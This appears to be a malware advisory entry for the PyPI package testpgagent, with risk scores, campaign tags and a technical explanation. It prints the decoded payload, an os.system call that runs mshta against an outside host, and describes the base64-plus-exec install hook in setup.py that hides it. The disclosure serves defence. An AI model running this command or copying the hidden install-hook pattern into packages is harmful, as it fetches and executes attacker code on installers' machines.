MAL-2026-5824None▾ SunlitMalicious code in testpgagent (PyPI)
▾ Sunlit zone — Low / medium · no exploitation signal
impact 2.8 · likelihood 0 · exploitation 0
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Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
-= Per source details. Do not edit below this line.=-
On pip install, setup.py line 19 calls exec(base64.b64decode(...)) whose decoded body is import os; os.system('cmd /c "mshta http://fixars.top"'). This launches Windows mshta.exe against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running pip install TestPGAgent==0.2 will execute remote code chosen by whoever controls fixars.top at the moment of install.
During installation, the code attempts to download and start a malicious executable.
Likely related to 2025-08-raknet-testing-package.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-easyaillm
Reasons (based on the campaign):
Downloads and executes a remote executable.
obfuscation
malware
tool:mshta
testpgagentRefer to the advisory for the patched release.